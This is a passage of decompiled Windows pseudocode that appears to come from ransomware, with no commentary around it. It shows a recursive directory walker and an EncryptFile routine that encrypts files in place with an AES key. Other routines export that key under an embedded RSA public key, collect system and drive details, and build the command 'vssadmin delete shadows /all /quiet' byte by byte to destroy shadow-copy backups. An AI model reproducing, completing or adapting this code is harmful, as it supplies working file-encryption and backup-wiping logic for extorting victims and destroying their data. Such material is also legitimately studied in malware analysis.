  656.                       v23 = (const CHAR *)GlobalAlloc(0x40u, *v22);
  657.                       if ( v23 )
  658.                       {
  659.                         lpString = v23;
  660.                         v24 = v33;
  661.                         v25 = (int)(v22 + 1);
  662.                         RtlMoveMemory(v23, v25, v33, hMemc);
  663.                         v26 = v24 + v25;
  664.                         dword_40EAD0 = *(_DWORD *)v26;
  665.                         v26 += 4;
  666.                         ::dwBytes = *(_DWORD *)v26;
  667.                         v27 = v26 + 4;
  668.                         v28 = (const CHAR *)GlobalAlloc(0x40u, ::dwBytes);
  669.                         if ( v28 )
  670.                         {
  671.                           dword_40EADC = v28;
  672.                           RtlMoveMemory(v28, v27, ::dwBytes, hMemd);
  673.                           RtlMoveMemory(&unk_40EC38, ::dwBytes + v27, 148, v29);
  674.                           GlobalFree(v30);
  675.                           result = 1;
  676.                         }
  677.                         else
  678.                         {
  679.                           result = 0;
  680.                         }
  681.                       }
  682.                       else
  683.                       {
  684.                         result = 0;
  685.                       }
  686.                     }
  687.                     else
  688.                     {
  689.                       result = 0;
  690.                     }
  691.                   }
  692.                 }
  693.                 else
  694.                 {
  695.                   result = 0;
  696.                 }
  697.               }
  698.             }
  699.             else
  700.             {
  701.               result = 0;
  702.             }
  703.           }
  704.           else
  705.           {
  706.             result = 0;
  707.           }
  708.         }
  709.         else
  710.         {
  711.           result = 0;
  712.         }
  713.       }
  714.       else
  715.       {
  716.         result = 0;
  717.       }
  718.     }
  719.     else
  720.     {
  721.       result = 0;
  722.     }
  723.   }
  724.   else
  725.   {
  726.     result = 0;
  727.   }
  728.   return result;
  729. }
  730. // 401569: could not find valid save-restore pair for edi
  731. // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
  732. // 40EAD0: using guessed type int dword_40EAD0;
  733. // 40EAE8: using guessed type char byte_40EAE8;
  734. // 40EAE9: using guessed type char byte_40EAE9;
  735. // 40EAEA: using guessed type char byte_40EAEA;
  736. // 40EAF0: using guessed type int dword_40EAF0;
  737. // 40EAFC: using guessed type int dword_40EAFC;
  738. // 40EB00: using guessed type int dword_40EB00;
  739. // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
  740. // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
  741. // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
  742. // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
  743. // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
  744.  
  745. //----- (00401772) --------------------------------------------------------
  746. void __stdcall sub_401772(int a1, int a2)
  747. {
  748.   int v2; // esi@1
  749.   int v3; // edi@1
  750.   int v4; // edx@1
  751.   int v5; // ecx@1
  752.   char v6; // al@4
  753.  
  754.   v2 = a1;
  755.   v3 = a1;
  756.   v4 = 0;
  757.   v5 = a2;
  758.   do
  759.   {
  760.     if ( v4 == 16 )
  761.       v4 = 0;
  762.     v6 = *(_BYTE *)v2++;
  763.     *(_BYTE *)v3++ = byte_405898[v4++] ^ v6;
  764.     --v5;
  765.   }
  766.   while ( v5 );
  767. }
  768.  
  769. //----- (00401798) --------------------------------------------------------
  770. BOOL __stdcall sub_401798(void **a1)
  771. {
  772.   void *v1; // eax@1
  773.   void *v2; // eax@5
  774.   void *v3; // eax@9
  775.   void *v4; // eax@13
  776.   void *v5; // eax@17
  777.   CHAR *v6; // ST0C_4@23
  778.   void *v7; // eax@23
  779.   void *v8; // eax@23
  780.   void *v9; // eax@23
  781.   void *v10; // eax@23
  782.   void *v11; // eax@23
  783.   void *lpString2; // [sp+4h] [bp-4h]@1
  784.  
  785.   lpString2 = *a1;
  786.   v1 = HeapAlloc(hHeap, 8u, 0x1000u);
  787.   if ( !v1 )
  788.     JUMPOUT(loc_403369);
  789.   if ( !TlsSetValue(dwTlsIndex, v1) )
  790.     JUMPOUT(loc_403369);
  791.   v2 = HeapAlloc(hHeap, 8u, 0x1000u);
  792.   if ( !v2 )
  793.     JUMPOUT(loc_403369);
  794.   if ( !TlsSetValue(dword_405384, v2) )
  795.     JUMPOUT(loc_403369);
  796.   v3 = HeapAlloc(hHeap, 8u, 0x1000u);
  797.   if ( !v3 )
  798.     JUMPOUT(loc_403369);
  799.   if ( !TlsSetValue(dword_405388, v3) )
  800.     JUMPOUT(loc_403369);
  801.   v4 = HeapAlloc(hHeap, 8u, 0x1000u);
  802.   if ( !v4 )
  803.     JUMPOUT(loc_403369);
  804.   if ( !TlsSetValue(dword_40538C, v4) )
  805.     JUMPOUT(loc_403369);
  806.   v5 = HeapAlloc(hHeap, 8u, 0x100000u);
  807.   if ( !v5 )
  808.     JUMPOUT(loc_403369);
  809.   if ( !TlsSetValue(dword_405390, v5) )
  810.     JUMPOUT(loc_403369);
  811.   if ( !TlsSetValue(dword_405394, lpString2) )
  812.     JUMPOUT(loc_403369);
  813.   v6 = (CHAR *)TlsGetValue(dwTlsIndex);
  814.   lstrcpyA(v6, (LPCSTR)lpString2);
  815.   lstrcatA(v6, "*");
  816.   RtlZeroMemory(lpString2, 4096);
  817.   EncryptionLoop();
  818.   v7 = TlsGetValue(dwTlsIndex);
  819.   HeapFree(hHeap, 0, v7);
  820.   v8 = TlsGetValue(dword_405384);
  821.   HeapFree(hHeap, 0, v8);
  822.   v9 = TlsGetValue(dword_405388);
  823.   HeapFree(hHeap, 0, v9);
  824.   v10 = TlsGetValue(dword_40538C);
  825.   HeapFree(hHeap, 0, v10);
  826.   v11 = TlsGetValue(dword_405390);
  827.   HeapFree(hHeap, 0, v11);
  828.   *a1 = 0;
  829.   return HeapFree(hHeap, 0, lpString2);
  830. }
  831. // 403369: using guessed type int loc_403369();
  832. // 4033DC: using guessed type int __stdcall RtlZeroMemory(_DWORD, _DWORD);
  833.  
  834. //----- (00401980) --------------------------------------------------------
  835. BOOL __cdecl EncryptionLoop()
  836. {
  837.   BOOL result; // eax@1
  838.   LPSTR v1; // eax@7
  839.   int v2; // ST08_4@7
  840.   int v3; // eax@9
  841.   int v4; // ecx@14
  842.   const CHAR *v5; // ebx@14
  843.   int v6; // [sp-4h] [bp-160h]@15
  844.   CHAR *v7; // [sp+0h] [bp-15Ch]@1
  845.   CHAR *v8; // [sp+4h] [bp-158h]@1
  846.   CHAR *v9; // [sp+8h] [bp-154h]@1
  847.   CHAR *lpString1; // [sp+Ch] [bp-150h]@1
  848.   const CHAR *lpString2; // [sp+10h] [bp-14Ch]@1
  849.   void *v12; // [sp+14h] [bp-148h]@2
  850.   int v13; // [sp+1Ah] [bp-142h]@1
  851.   int v14; // [sp+36h] [bp-126h]@18
  852.   unsigned int v15; // [sp+3Ah] [bp-122h]@19
  853.   const CHAR String2; // [sp+46h] [bp-116h]@4
  854.   int v17; // [sp+158h] [bp-4h]@2
  855.  
  856.   lpString2 = (const CHAR *)TlsGetValue(dwTlsIndex);
  857.   lpString1 = (CHAR *)TlsGetValue(dword_405384);
  858.   v9 = (CHAR *)TlsGetValue(dword_405388);
  859.   v8 = (CHAR *)TlsGetValue(dword_40538C);
  860.   v7 = (CHAR *)TlsGetValue(dword_405394);
  861.   result = (BOOL)((char *)FindFirstFileA(lpString2, (LPWIN32_FIND_DATAA)&v13) + 1);
  862.   if ( result )
  863.   {
  864.     v12 = (void *)(result - 1);
  865.     v17 = 0;
  866.     do
  867.     {
  868.       if ( v13 & 0x10 )
  869.       {
  870.         if ( lstrcmpiA(".", &String2) && lstrcmpiA("..", &String2) )
  871.         {
  872.           lstrcpyA(lpString1, lpString2);
  873.           *PathFindFileNameA(lpString1) = 0;
  874.           lstrcatA(lpString1, &String2);
  875.           if ( lstrcmpiA(byte_4058A8, lpString1) )
  876.           {
  877.             v1 = PathFindFileNameA(lpString2);
  878.             *v1 = 0;
  879.             v2 = v1 - lpString2;
  880.             lstrcatA((LPSTR)lpString2, &String2);
  881.             sub_4025FF(lpString2);
  882.             *(_DWORD *)&lpString2[lstrlenA(lpString2)] = 10844;
  883.             EncryptionLoop();
  884.             *(_DWORD *)&lpString2[v2 - 1] = 10844;
  885.           }
  886.         }
  887.       }
  888.       else
  889.       {
  890.         if ( lstrcmpiA("index.dat", &String2) )
  891.         {
  892.           v3 = lstrlenA(lpString2);
  893.           lstrcpynA(v9, lpString2, v3);
  894.           if ( !PathMatchSpecA(&String2, byte_410EE4) )
  895.           {
  896.             if ( !v17 )
  897.             {
  898.               sub_4011C2(v9, 0);
  899.               ++v17;
  900.             }
  901.             lstrcatA(v9, &String2);
  902.             if ( lstrcmpiA(byte_40FCCC, &String2) )
  903.             {
  904.               if ( !PathMatchSpecA(&String2, byte_410DCC) )
  905.               {
  906.                 v4 = dword_40EAD0 - 1;
  907.                 v5 = dword_40EADC;
  908.                 while ( 1 )
  909.                 {
  910.                   v6 = v4;
  911.                   if ( PathMatchSpecA(v9, v5) == 1 )
  912.                     break;
  913.                   v5 += lstrlenA(v5) + 1;
  914.                   v4 = v6 - 1;
  915.                   if ( v6 == 1 )
  916.                   {
  917.                     if ( !dword_40EB00 || !v14 && v15 < dword_40EB00 )
  918.                       goto LABEL_24;
  919.                     break;
  920.                   }
  921.                 }
  922.                 lstrcpyA(v7, v9);
  923.                 if ( !EncryptFile(v9) )
  924.                 {
  925.                   lstrcpyA(v8, v9);
  926.                   lstrcatA(v8, ".");
  927.                   lstrcatA(v8, ::lpString2);
  928.                   MoveFileA(v9, v8);
  929.                 }
  930.               }
  931.             }
  932.           }
  933.         }
  934.       }
  935. LABEL_24:
  936.       ;
  937.     }
  938.     while ( FindNextFileA(v12, (LPWIN32_FIND_DATAA)&v13) );
  939.     result = FindClose(v12);
  940.   }
  941.   return result;
  942. }
  943. // 40EAD0: using guessed type int dword_40EAD0;
  944. // 40EB00: using guessed type int dword_40EB00;
  945.  
  946. //----- (00401C80) --------------------------------------------------------
  947. signed int __cdecl sub_401C80()
  948. {
  949.   signed int result; // eax@2
  950.   BYTE *v1; // eax@3
  951.   int v2; // [sp+0h] [bp-4h]@5
  952.  
  953.   if ( CryptAcquireContextA((HCRYPTPROV *)&dword_40EB04, 0, 0, 0x18u, 0xF0000000u) )
  954.   {
  955.     CryptGenKey(dword_40EB04, 0x6610u, 0x1000001u, (HCRYPTKEY *)&dword_40EB08); //PROV_RSA_AES
  956.     CryptExportKey(dword_40EB08, 0, 8u, 0, 0, &dword_40EB0C);
  957.     v1 = (BYTE *)GlobalAlloc(0x40u, dword_40EB0C);
  958.     if ( v1 )
  959.     {
  960.       dword_40EB10 = (int)v1;
  961.       CryptExportKey(dword_40EB08, 0, 8u, 0, v1, &dword_40EB0C);
  962.       v2 = 2;
  963.       CryptSetKeyParam(dword_40EB08, 4u, (const BYTE *)&v2, 0);
  964.       result = 1;
  965.     }
  966.     else
  967.     {
  968.       result = 0;
  969.     }
  970.   }
  971.   else
  972.   {
  973.     result = 0;
  974.   }
  975.   return result;
  976. }
  977. // 40EB04: using guessed type int dword_40EB04;
  978. // 40EB08: using guessed type int dword_40EB08;
  979. // 40EB10: using guessed type int dword_40EB10;
  980.  
  981. //----- (00401D34) --------------------------------------------------------
  982. BOOL __cdecl sub_401D34()
  983. {
  984.   CryptDestroyKey(dword_40EB08);
  985.   return CryptReleaseContext(dword_40EB04, 0);
  986. }
  987. // 40EB04: using guessed type int dword_40EB04;
  988. // 40EB08: using guessed type int dword_40EB08;
  989.  
  990. //----- (00401D4F) --------------------------------------------------------
  991. int __usercall sub_401D4F<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4<ebx>)
  992. {
  993.   int result; // eax@3
  994.   signed int v5; // ebp@4
  995.   __int64 v6; // qdi@4
  996.   unsigned __int8 v7; // cf@5
  997.   unsigned __int8 v8; // tt@5
  998.   unsigned __int8 v9; // tt@5
  999.  
  1000.   if ( a4 || a1 )
  1001.   {
  1002.     v5 = 64;
  1003.     v6 = 0i64;
  1004.     do
  1005.     {
  1006.       v7 = __CFSHL__(a3, 1);
  1007.       a3 *= 2;
  1008.       v8 = __CFRCL__(a2, v7);
  1009.       a2 = __RCL__(a2, v7);
  1010.       v7 = v8;
  1011.       v9 = __CFRCL__(v6, v8);
  1012.       LODWORD(v6) = __RCL__(v6, v7);
  1013.       HIDWORD(v6) = __RCL__(HIDWORD(v6), v9);
  1014.       if ( v6 >= __PAIR__(a4, a1) )
  1015.       {
  1016.         v6 -= __PAIR__(a4, a1);
  1017.         ++a3;
  1018.       }
  1019.       --v5;
  1020.     }
  1021.     while ( v5 );
  1022.     result = v6;
  1023.   }
  1024.   else
  1025.   {
  1026.     result = a3;
  1027.   }
  1028.   return result;
  1029. }
  1030.  
  1031. //----- (00401D89) --------------------------------------------------------
  1032. int __usercall sub_401D89<eax>(int a1<eax>, int a2<ecx>)
  1033. {
  1034.   return a1 * a2;
  1035. }
  1036.  
  1037. //----- (00401DC3) --------------------------------------------------------
  1038. int __stdcall sub_401DC3(int a1, int a2)
  1039. {
  1040.   __int64 v2; // qax@1
  1041.  
  1042.   v2 = *(_QWORD *)a2 + *(_QWORD *)a1;
  1043.   *(_QWORD *)a1 = v2;
  1044.   return v2;
  1045. }
  1046.  
  1047. //----- (00401DE6) --------------------------------------------------------
  1048. int __stdcall sub_401DE6(int a1, int a2)
  1049. {
  1050.   __int64 v2; // qax@1
  1051.  
  1052.   v2 = *(_QWORD *)a1 - *(_QWORD *)a2;
  1053.   *(_QWORD *)a1 = v2;
  1054.   return v2;
  1055. }
  1056.  
  1057. //----- (00401E09) --------------------------------------------------------
  1058. signed int __stdcall EncryptFile(const CHAR *a1)
  1059. {
  1060.   HANDLE v1; // eax@1
  1061.   int v2; // edx@3
  1062.   int v3; // ecx@3
  1063.   int v4; // ecx@6
  1064.   int v5; // edx@6
  1065.   int v6; // eax@6
  1066.   unsigned int v7; // edx@6
  1067.   unsigned int v8; // ecx@6
  1068.   int v9; // eax@10
  1069.   unsigned int v11; // [sp-80h] [bp-DCh]@18
  1070.   unsigned int v12; // [sp-7Ch] [bp-D8h]@18
  1071.   void *v13; // [sp+4h] [bp-58h]@1
  1072.   char v14; // [sp+8h] [bp-54h]@18
  1073.   DWORD v15; // [sp+Ch] [bp-50h]@14
  1074.   char v16; // [sp+10h] [bp-4Ch]@24
  1075.   char v17; // [sp+18h] [bp-44h]@24
  1076.   char v18; // [sp+20h] [bp-3Ch]@24
  1077.   int v19; // [sp+28h] [bp-34h]@1
  1078.   LONG DistanceToMoveHigh[2]; // [sp+2Ch] [bp-30h]@1
  1079.   __int64 v21; // [sp+34h] [bp-28h]@1
  1080.   __int64 v22; // [sp+3Ch] [bp-20h]@1
  1081.   int v23; // [sp+44h] [bp-18h]@1
  1082.   int v24; // [sp+48h] [bp-14h]@1
  1083.   unsigned __int64 lDistanceToMove; // [sp+4Ch] [bp-10h]@1
  1084.   DWORD v26; // [sp+54h] [bp-8h]@1
  1085.   HANDLE hObject; // [sp+58h] [bp-4h]@1
  1086.  
  1087.   hObject = 0;
  1088.   v19 = 0;
  1089.   v26 = 0;
  1090.   lDistanceToMove = 0i64;
  1091.   v23 = 0;
  1092.   v24 = 0;
  1093.   v22 = 0i64;
  1094.   v21 = 0i64;
  1095.   DistanceToMoveHigh[0] = 0;
  1096.   DistanceToMoveHigh[1] = 0;
  1097.   v13 = TlsGetValue(dword_405390);
  1098.   sub_4025FF(a1);
  1099.   v1 = CreateFileA(a1, 0xC0000000u, 1u, 0, 3u, 0, 0);
  1100.   if ( v1 != (HANDLE)-1 )
  1101.   {
  1102.     hObject = v1;
  1103.     GetFileTime((LPCSTR)v1);
  1104.     GetFileSizeEx(hObject, (PLARGE_INTEGER)&lDistanceToMove);
  1105.     if ( lDistanceToMove >= 0x10 )
  1106.     {
  1107.       sub_401D4F(0xAu, SHIDWORD(lDistanceToMove), lDistanceToMove, 0);
  1108.       sub_401D89((unsigned __int8)byte_40EAEA, v3);
  1109.       sub_401D4F(0x10u, v2, v3, 0);
  1110.       if ( !v2 && !v3 )
  1111.         v3 = 1;
  1112.       v22 = __PAIR__(v2, v3);
  1113.       sub_401D89(16, v3);
  1114.       v23 = v4;
  1115.       v24 = v5;
  1116.       v6 = sub_401D4F(0x100000u, v5, v4, 0);
  1117.       v21 = __PAIR__(v7, v8);
  1118.       if ( v6 )
  1119.         ++v21;
  1120.       DistanceToMoveHigh[0] = 0;
  1121.       DistanceToMoveHigh[1] = 0;
  1122.       while ( 1 )
  1123.       {
  1124.         v9 = (unsigned __int64)v22 <= 0x10000 ? (_DWORD)v22 : 65536;
  1125.         v26 = 16 * v9;
  1126.         if ( SetFilePointer(hObject, DistanceToMoveHigh[0], &DistanceToMoveHigh[1], 0) == -1 )
  1127.         {
  1128.           if ( GetLastError() )
  1129.             break;
  1130.         }
  1131.         if ( !ReadFile(hObject, v13, v26, &v15, 0)
  1132.           || !CryptEncrypt(dword_40EB08, 0, 0, 0, (BYTE *)v13, &v15, 0x100000u)
  1133.           || SetFilePointer(hObject, DistanceToMoveHigh[0], &DistanceToMoveHigh[1], 0) == -1 && GetLastError()
  1134.           || !WriteFile(hObject, v13, v15, (LPDWORD)&v14, 0) )
  1135.           break;
  1136.         *(_QWORD *)DistanceToMoveHigh = (signed __int64)((double)*(signed __int64 *)DistanceToMoveHigh
  1137.                                                        + (double)(signed int)v26);
  1138.         v22 = (signed __int64)((double)v22 - (double)65536);
  1139.         v19 = 1;
  1140.         v21 = (signed __int64)((double)v21 - (double)1);
  1141.         if ( !v21 )
  1142.         {
  1143.           v22 = __PAIR__(v11, v12);
  1144.           if ( (SetFilePointer(hObject, lDistanceToMove, (PLONG)&lDistanceToMove + 1, 0) != -1 || !GetLastError())
  1145.             && WriteFile(hObject, &v22, 8u, (LPDWORD)&v14, 0)
  1146.             && WriteFile(hObject, &dword_40EC2C, 4u, (LPDWORD)&v14, 0) )
  1147.           {
  1148.             SetFileTime(hObject, (const FILETIME *)&v18, (const FILETIME *)&v17, (const FILETIME *)&v16);
  1149.             CloseHandle(hObject);
  1150.             return 0;
  1151.           }
  1152.           break;
  1153.         }
  1154.       }
  1155.     }
  1156.     SetFileTime(hObject, (const FILETIME *)&v18, (const FILETIME *)&v17, (const FILETIME *)&v16);
  1157.     CloseHandle(hObject);
  1158.   }
  1159.   return 1;
  1160. }
  1161. // 40EAEA: using guessed type char byte_40EAEA;
  1162. // 40EB08: using guessed type int dword_40EB08;
  1163. // 40EC2C: using guessed type int dword_40EC2C;
  1164.  
  1165. //----- (004020E1) --------------------------------------------------------
  1166. int __cdecl sub_4020E1()
  1167. {
  1168.   unsigned int v0; // eax@1
  1169.   const CHAR *v1; // edi@1
  1170.   char v2; // dl@1
  1171.   signed int v3; // ecx@1
  1172.   int v4; // edi@5
  1173.   const CHAR *v5; // esi@5
  1174.   BOOL v6; // eax@6
  1175.   const void *v8; // [sp+0h] [bp-3Ch]@6
  1176.   DWORD v9; // [sp+4h] [bp-38h]@6
  1177.   DWORD *v10; // [sp+8h] [bp-34h]@6
  1178.   struct _OVERLAPPED *v11; // [sp+Ch] [bp-30h]@6
  1179.   char v12; // [sp+10h] [bp-2Ch]@7
  1180.   const CHAR String; // [sp+18h] [bp-24h]@1
  1181.   int v14; // [sp+38h] [bp-4h]@1
  1182.  
  1183.   v14 = 6044240;
  1184.   dword_410FFC = 0;
  1185.   v0 = GetLogicalDrives();
  1186.   v1 = &String;
  1187.   v2 = 65;
  1188.   v3 = 26;
  1189.   do
  1190.   {
  1191.     if ( v0 & 1 )
  1192.       *v1++ = v2;
  1193.     v0 >>= 1;
  1194.     ++v2;
  1195.     --v3;
  1196.   }
  1197.   while ( v3 );
  1198.   *v1 = 0;
  1199.   v4 = lstrlenA(&String);
  1200.   v5 = &String;
  1201.   do
  1202.   {
  1203.     LOBYTE(v14) = *v5;
  1204.     v6 = GetDriveTypeA(&v14, v8, v9, v10, v11);
  1205.     BYTE3(v14) = 0;
  1206.     if ( v6 == 3 )
  1207.     {
  1208.       GetDiskFreeSpaceExA((LPCSTR)&v14, 0, (PULARGE_INTEGER)&v12, (PULARGE_INTEGER)&v10);
  1209.       sub_401DC3((int)&dword_410FEC, (int)&v12);
  1210.       sub_401DC3((int)&unk_410FE4, (int)&v10);
  1211.       ++dword_410FFC;
  1212.     }
  1213.     ++v5;
  1214.     --v4;
  1215.   }
  1216.   while ( v4 );
  1217.   dword_410FF4 = dword_410FEC;
  1218.   dword_410FF8 = dword_410FF0;
  1219.   return sub_401DE6((int)&dword_410FF4, (int)&unk_410FE4);
  1220. }
  1221. // 410FEC: using guessed type int dword_410FEC;
  1222. // 410FF0: using guessed type int dword_410FF0;
  1223. // 410FF4: using guessed type int dword_410FF4;
  1224. // 410FF8: using guessed type int dword_410FF8;
  1225. // 410FFC: using guessed type int dword_410FFC;
  1226. // 4110B0: using guessed type int (*GetLogicalDrives)(void);
  1227.  
  1228. //----- (004021AA) --------------------------------------------------------
  1229. int __cdecl sub_4021AA()
  1230. {
  1231.   HMODULE v0; // eax@1
  1232.   FARPROC v1; // eax@1
  1233.   HANDLE v2; // eax@2
  1234.   int v4; // [sp+0h] [bp-10h]@2
  1235.   FARPROC v5; // [sp+4h] [bp-Ch]@2
  1236.   HMODULE hModule; // [sp+8h] [bp-8h]@1
  1237.   int v7; // [sp+Ch] [bp-4h]@1
  1238.  
  1239.   v7 = 0;
  1240.   v0 = GetModuleHandleA("kernel32.dll");
  1241.   hModule = v0;
  1242.   v1 = GetProcAddress(v0, "IsWow64Process");
  1243.   if ( v1 )
  1244.   {
  1245.     v5 = v1;
  1246.     v2 = GetCurrentProcess();
  1247.     if ( ((int (__stdcall *)(HANDLE, int *))v5)(v2, &v4) )
  1248.     {
  1249.       if ( v4 == 1 )
  1250.         v7 = 1;
  1251.     }
  1252.   }
  1253.   return v7;
  1254. }
  1255.  
  1256. //----- (004021FD) --------------------------------------------------------
  1257. int __stdcall sub_4021FD(int a1, int a2)
  1258. {
  1259.   struct _OSVERSIONINFOA VersionInformation; // [sp+4h] [bp-B8h]@1
  1260.   char v4; // [sp+9Eh] [bp-1Eh]@1
  1261.   struct _FILETIME FileTime; // [sp+A0h] [bp-1Ch]@1
  1262.   struct _SYSTEMTIME SystemTime; // [sp+A8h] [bp-14h]@1
  1263.   int v7; // [sp+B8h] [bp-4h]@1
  1264.  
  1265.   v7 = a2;
  1266.   GetSystemTime(&SystemTime);
  1267.   SystemTimeToFileTime(&SystemTime, &FileTime);
  1268.   *(_DWORD *)(a2 + a1) = FileTime.dwLowDateTime;
  1269.   *(_DWORD *)(a2 + a1 + 4) = FileTime.dwHighDateTime;
  1270.   v7 += 8;
  1271.   VersionInformation.dwOSVersionInfoSize = 156;
  1272.   GetVersionExA(&VersionInformation);
  1273.   *(_BYTE *)(a2 + a1 + 8) = LOBYTE(VersionInformation.dwMajorVersion);
  1274.   *(_BYTE *)(a2 + a1 + 9) = LOBYTE(VersionInformation.dwMinorVersion);
  1275.   *(_BYTE *)(a2 + a1 + 10) = v4;
  1276.   v7 += 3;
  1277.   sub_4020E1();
  1278.   *(_DWORD *)(a2 + a1 + 11) = dword_410FFC;
  1279.   v7 += 4;
  1280.   *(_DWORD *)(a2 + a1 + 15) = dword_410FF4;
  1281.   *(_DWORD *)(a2 + a1 + 19) = dword_410FF8;
  1282.   v7 += 8;
  1283.   *(_DWORD *)(a2 + a1 + 23) = dword_410FEC;
  1284.   *(_DWORD *)(a2 + a1 + 27) = dword_410FF0;
  1285.   v7 += 8;
  1286.   *(_WORD *)(a2 + a1 + 31) = GetSystemMetrics(0);
  1287.   *(_WORD *)(a2 + a1 + 33) = GetSystemMetrics(1);
  1288.   v7 += 4;
  1289.   *(_BYTE *)(a2 + a1 + 35) = sub_4021AA();
  1290.   ++v7;
  1291.   return v7;
  1292. }
  1293. // 410FEC: using guessed type int dword_410FEC;
  1294. // 410FF0: using guessed type int dword_410FF0;
  1295. // 410FF4: using guessed type int dword_410FF4;
  1296. // 410FF8: using guessed type int dword_410FF8;
  1297. // 410FFC: using guessed type int dword_410FFC;
  1298.  
  1299. //----- (004022E0) --------------------------------------------------------
  1300. signed int __cdecl sub_4022E0()
  1301. {
  1302.   signed int result; // eax@2
  1303.   HGLOBAL v1; // eax@5
  1304.   HCRYPTKEY v2; // [sp+0h] [bp-4h]@3
  1305.  
  1306.   if ( CryptAcquireContextA((HCRYPTPROV *)&dword_40EB18, 0, 0, 1u, 0xF0000000u) )
  1307.   {
  1308.     if ( CryptImportKey(dword_40EB18, (const BYTE *)&unk_40EC38, 0x94u, 0, 0, &v2) )
  1309.     {
  1310.       v1 = GlobalAlloc(0x40u, 0x100000u);
  1311.       if ( v1 )
  1312.       {
  1313.         dword_40EC30 = (int)v1;
  1314.         RtlMoveMemory(v1, dword_40EB10, dword_40EB0C, v2);
  1315.         dword_40EC34 = sub_4021FD(dword_40EC30, dword_40EB0C);
  1316.         if ( CryptEncrypt(v2, 0, 0, 0, (BYTE *)dword_40EC30, (DWORD *)&dword_40EC34, 0x100000u) )
  1317.         {
  1318.           CryptDestroyKey(v2);
  1319.           CryptReleaseContext(dword_40EB18, 0);
  1320.           result = 1;
  1321.         }
  1322.         else
  1323.         {
  1324.           result = 0;
  1325.         }
  1326.       }
  1327.       else
  1328.       {
  1329.         result = 0;
  1330.       }
  1331.     }
  1332.     else
  1333.     {
  1334.       result = 0;
  1335.     }
  1336.   }
  1337.   else
  1338.   {
  1339.     result = 0;
  1340.   }
  1341.   return result;
  1342. }
  1343. // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
  1344. // 40EB10: using guessed type int dword_40EB10;
  1345. // 40EB18: using guessed type int dword_40EB18;
  1346. // 40EC30: using guessed type int dword_40EC30;
  1347. // 40EC34: using guessed type int dword_40EC34;
  1348.  
  1349. //----- (004023B5) --------------------------------------------------------
  1350. unsigned int __stdcall sub_4023B5(int a1, int a2)
  1351. {
  1352.   int v2; // edx@1
  1353.   int v3; // ecx@1
  1354.   unsigned int result; // eax@1
  1355.   unsigned int v5; // eax@2
  1356.   char v6; // bl@3
  1357.   char v7; // cf@4
  1358.  
  1359.   v2 = a1;
  1360.   v3 = a2;
  1361.   result = 0;
  1362.   if ( a2 )
  1363.   {
  1364.     v5 = -1;
  1365.     do
  1366.     {
  1367.       LOBYTE(v5) = *(_BYTE *)v2++ ^ v5;
  1368.       v6 = 8;
  1369.       do
  1370.       {
  1371.         v7 = v5 & 1;
  1372.         v5 >>= 1;
  1373.         if ( v7 )
  1374.           v5 ^= 0xEDB88320u;
  1375.         --v6;
  1376.       }
  1377.       while ( v6 );
  1378.       --v3;
  1379.     }
  1380.     while ( v3 );
  1381.     result = ~v5;
  1382.   }
  1383.   return result;
  1384. }
  1385. // 4023B5: using guessed type _DWORD __stdcall sub_4023B5(_DWORD, _DWORD);
  1386.  
  1387. //----- (004023E3) --------------------------------------------------------
  1388. int __stdcall sub_4023E3(int a1, int a2)
  1389. {
  1390.   int v2; // ecx@1
  1391.   int v3; // edi@1
  1392.   unsigned __int64 v4; // qax@2
  1393.   int result; // eax@3
  1394.  
  1395.   v2 = a1;
  1396.   v3 = a2;
  1397.   do
  1398.   {
  1399.     v4 = __rdtsc();
  1400.     *(_BYTE *)v3++ = (v4 & 0xF) + 97;
  1401.     --v2;
  1402.   }
  1403.   while ( v2 );
  1404.   result = 0;
  1405.   *(_BYTE *)v3 = 0;
  1406.   return result;
  1407. }
  1408. // 4023E3: using guessed type _DWORD __stdcall sub_4023E3(_DWORD, _DWORD);
  1409.  
  1410. //----- (004023FF) --------------------------------------------------------
  1411. int __cdecl CreateVSSbatch()
  1412. {
  1413.   int v1; // [sp+0h] [bp-108h]@1
  1414.   char v2; // [sp+Ah] [bp-FEh]@1
  1415.   char v3; // [sp+Bh] [bp-FDh]@1
  1416.   char v4; // [sp+Ch] [bp-FCh]@1
  1417.   char v5; // [sp+Dh] [bp-FBh]@1
  1418.   char v6; // [sp+Eh] [bp-FAh]@1
  1419.   char v7; // [sp+Fh] [bp-F9h]@1
  1420.   char v8; // [sp+100h] [bp-8h]@1
  1421.   HANDLE hObject; // [sp+104h] [bp-4h]@1
  1422.  
  1423.   sub_4023E3(10, &v1);
  1424.   v2 = 46;
  1425.   v3 = 98;
  1426.   v4 = 97;
  1427.   v5 = 116;
  1428.   v6 = 0;
  1429.   v7 = 0;
  1430.   hObject = CreateFileA((LPCSTR)&v1, 0xC0000000u, 3u, 0, 2u, 0, 0);
  1431.   SetFilePointer(hObject, 0, 0, 0);
  1432.   LibFileName[0] = 118;
  1433.   LibFileName[1] = 115;
  1434.   LibFileName[2] = 115;
  1435.   LibFileName[3] = 97;
  1436.   LibFileName[4] = 100;
  1437.   LibFileName[5] = 109;
  1438.   LibFileName[6] = 105;
  1439.   LibFileName[7] = 110;
  1440.   LibFileName[8] = 32;
  1441.   LibFileName[9] = 100;
  1442.   LibFileName[10] = 101;
  1443.   LibFileName[11] = 108;
  1444.   LibFileName[12] = 101;
  1445.   LibFileName[13] = 116;
  1446.   LibFileName[14] = 101;
  1447.   LibFileName[15] = 32;
  1448.   LibFileName[16] = 115;
  1449.   LibFileName[17] = 104;
  1450.   LibFileName[18] = 97;
  1451.   LibFileName[19] = 100;
  1452.   LibFileName[20] = 111;
  1453.   LibFileName[21] = 119;
  1454.   LibFileName[22] = 115;
  1455.   LibFileName[23] = 32;
  1456.   LibFileName[24] = 47;
  1457.   LibFileName[25] = 97;
  1458.   LibFileName[26] = 108;
  1459.   LibFileName[27] = 108;
  1460.   LibFileName[28] = 32;
  1461.   LibFileName[29] = 47;
  1462.   LibFileName[30] = 113;
  1463.   LibFileName[31] = 117;
  1464.   LibFileName[32] = 105;
  1465.   LibFileName[33] = 101;
  1466.   LibFileName[34] = 116;
